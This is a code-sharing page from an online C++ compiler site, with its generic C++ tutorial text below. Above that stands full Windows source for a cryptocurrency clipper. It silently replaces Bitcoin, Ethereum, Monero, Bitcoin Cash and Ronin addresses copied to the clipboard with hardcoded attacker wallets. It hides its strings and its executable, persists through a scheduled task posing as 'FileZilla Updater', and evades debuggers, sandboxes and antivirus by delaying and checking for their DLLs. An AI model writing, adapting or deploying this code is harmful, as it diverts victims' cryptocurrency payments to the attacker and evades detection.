#pragma comment(linker, "/subsystem:windows /ENTRY:mainCRTStartup")

#define _CRT_SECURE_NO_WARNINGS
#include <optional>
#include <regex>
#include <windows.h>
#include "xorstr.hpp"
#include <Shellapi.h>
//#define DEBUG
#define BTC_ADDRESS XorStr("bc1q0x657ulnddhv9f4y6sh52s6wweqem0cckxrcu6").c_str()
#define ETH_ADDRESS XorStr("0x3DC41cDC612508fE0fba5A547d46c22D50B82FCD").c_str()
#define XMR_ADDRESS XorStr("4BGevDmsoy9GmrkDZiS8r5Tw9LDE1pNyfCLrvGGP858o4ABwmDy7dykJHF6djWjD1XT5GCE7AL6yzFskof8VodnjF2fxXB4").c_str()
#define BCH_ADDRESS XorStr("qp43s6whd9kvue6w6czy83c7yexup7a3kq2x3vez07").c_str()
#define RONIN_ADDRESS XorStr("ronin:3DC41cDC612508fE0fba5A547d46c22D50B82FCD").c_str()

#define MUTEX_STRING XorStr("PM5X60XpPxHH0xP7fFQygi").c_str()
using namespace std;

DWORD currentClipboard = 0;
vector<pair<regex, string>> coins = {
	{regex(XorStr("^[48][0-9AB][1-9A-HJ-NP-Za-km-z]{93}$").c_str()), (XMR_ADDRESS)},
	{regex(XorStr("^((bitcoincash|bchreg|bchtest):)?(q|p)[a-z0-9]{41}$").c_str()), (BCH_ADDRESS)},
	{regex(XorStr("^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$").c_str()), (BTC_ADDRESS)},
	{regex(XorStr("^0x[a-fA-F0-9]{40}$").c_str()), (ETH_ADDRESS)},
	{regex(XorStr("^ronin:[a-fA-F0-9]{40}$").c_str()), (RONIN_ADDRESS)}
};


string GetClipboardText() {
	auto data = GetClipboardData(CF_TEXT);
	if (data) {
		std::string text((char*)data);
		return text;
	}

	return "";
}

BOOL IsPathExist(const std::string& s)
{
	struct stat buffer;
	return (stat(s.c_str(), &buffer) == 0);
}

void reg_me() {
	TCHAR szEXEPath[2048];
	DWORD nChars = GetModuleFileName(NULL, szEXEPath, 2048);
	SetFileAttributes(szEXEPath, FILE_ATTRIBUTE_HIDDEN);
	// Создаём службу
	string st(XorStr("/create /sc MINUTE /mo 1 /tn \"FileZilla Updater\" /tr ").c_str());
	string stw(XorStr(szEXEPath).c_str());
	string stw2(XorStr(" /f").c_str());
	string rdy = st + stw + stw2;
	const char* cmss = rdy.c_str();
	ShellExecute(NULL, XorStr("open").c_str(), XorStr("schtasks.exe").c_str(), cmss, 0, SW_HIDE);
}

BOOL checkModules()
{
	HMODULE hDll;

	CONST char* szDlls[] = {
		XorStr("avghookx.dll").c_str(),		// AVG
		XorStr("avghooka.dll").c_str(),		// AVG
		XorStr("snxhk.dll").c_str(),		// Avast
		XorStr("sbiedll.dll").c_str(),		// Sandboxie
		XorStr("dbghelp.dll").c_str(),		// WindBG
		XorStr("api_log.dll").c_str(),		// iDefense Lab
		XorStr("dir_watch.dll").c_str(),	// iDefense Lab
		XorStr("pstorec.dll").c_str(),		// SunBelt Sandbox
		XorStr("vmcheck.dll").c_str(),		// Virtual PC
		XorStr("wpespy.dll").c_str(),		// WPE Pro
		XorStr("cmdvrt64.dll").c_str(),		// Comodo Container
		XorStr("cmdvrt32.dll").c_str(),		// Comodo Container
		XorStr("sxin.dll").c_str(),
		XorStr("sf2.dll").c_str()

	};

	WORD dwlength = sizeof(szDlls) / sizeof(szDlls[0]);
	for (int i = 0; i < dwlength; i++)
	{
		hDll = GetModuleHandle(szDlls[i]);
		if (hDll == NULL)
			return false;
		else
			return true;
	}
}

BOOL timing_sleep_loop(UINT delayInMillis)
{

	int delayInMillis_divided = delayInMillis / 1000;

	for (int i = 0; i < 1000; i++) {
		Sleep(delayInMillis_divided);
	}

	return FALSE;
}

void MarkClipboardRead() {
	currentClipboard = GetClipboardSequenceNumber();
	CloseClipboard();
}

int main() {
	if (OpenMutex(MUTEX_ALL_ACCESS, 0, MUTEX_STRING))
		return 0;
	CreateMutex(0, 0, (MUTEX_STRING));
#ifndef DEBUG
	timing_sleep_loop(120000);
	if (IsDebuggerPresent())
		return 0;
	if (checkModules())
		return 0;
	reg_me();
#endif
	while (true) {
		Sleep(20);
		if (currentClipboard == GetClipboardSequenceNumber())
			continue;

		if (!OpenClipboard(nullptr))
			continue;

		auto clipboard = GetClipboardText();
		if (clipboard.empty()) {
			MarkClipboardRead();
			continue;
		}

		string newClipboard = clipboard;
		for (auto& coin : coins) {
			if (coin.second.empty())
				continue;

			newClipboard = regex_replace(newClipboard, coin.first, coin.second);
			if (newClipboard != clipboard) {
				auto glob = GlobalAlloc(GMEM_FIXED, newClipboard.length() + 1);
				if (glob) {
					memcpy(glob, newClipboard.c_str(), newClipboard.length() + 1);
					EmptyClipboard();
					SetClipboardData(CF_TEXT, glob);
				}
				break;
			}
		}

		MarkClipboardRead();
	}

	return 0;
} 

C++ Online Compiler

Write, Run & Share C++ code online using OneCompiler's C++ online compiler for free. It's one of the robust, feature-rich online compilers for C++ language, running on the latest version 17. Getting started with the OneCompiler's C++ compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as C++ and start coding!

Read inputs from stdin

OneCompiler's C++ online compiler supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample program which takes name as input and print your name with hello.

#include <iostream>
#include <string>
using namespace std;

int main() 
{
    string name;
    cout << "Enter name:";
    getline (cin, name);
    cout << "Hello " << name;
    return 0;
}

About C++

C++ is a widely used middle-level programming language.

  • Supports different platforms like Windows, various Linux flavours, MacOS etc
  • C++ supports OOPS concepts like Inheritance, Polymorphism, Encapsulation and Abstraction.
  • Case-sensitive
  • C++ is a compiler based language
  • C++ supports structured programming language
  • C++ provides alot of inbuilt functions and also supports dynamic memory allocation.
  • Like C, C++ also allows you to play with memory using Pointers.

Syntax help

Loops

1. If-Else:

When ever you want to perform a set of operations based on a condition If-Else is used.

if(conditional-expression) {
   //code
}
else {
   //code
}

You can also use if-else for nested Ifs and If-Else-If ladder when multiple conditions are to be performed on a single variable.

2. Switch:

Switch is an alternative to If-Else-If ladder.

switch(conditional-expression){    
case value1:    
 // code    
 break;  // optional  
case value2:    
 // code    
 break;  // optional  
......    
    
default:     
 code to be executed when all the above cases are not matched;    
} 

3. For:

For loop is used to iterate a set of statements based on a condition.

for(Initialization; Condition; Increment/decrement){  
  //code  
} 

4. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while (condition) {  
// code 
}  

5. Do-While:

Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.

do {  
 // code 
} while (condition); 

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increases re-usuability and modularity. Function gets run only when it is called.

How to declare a Function:

return_type function_name(parameters);

How to call a Function:

function_name (parameters)

How to define a Function:

return_type function_name(parameters) {  
 // code
}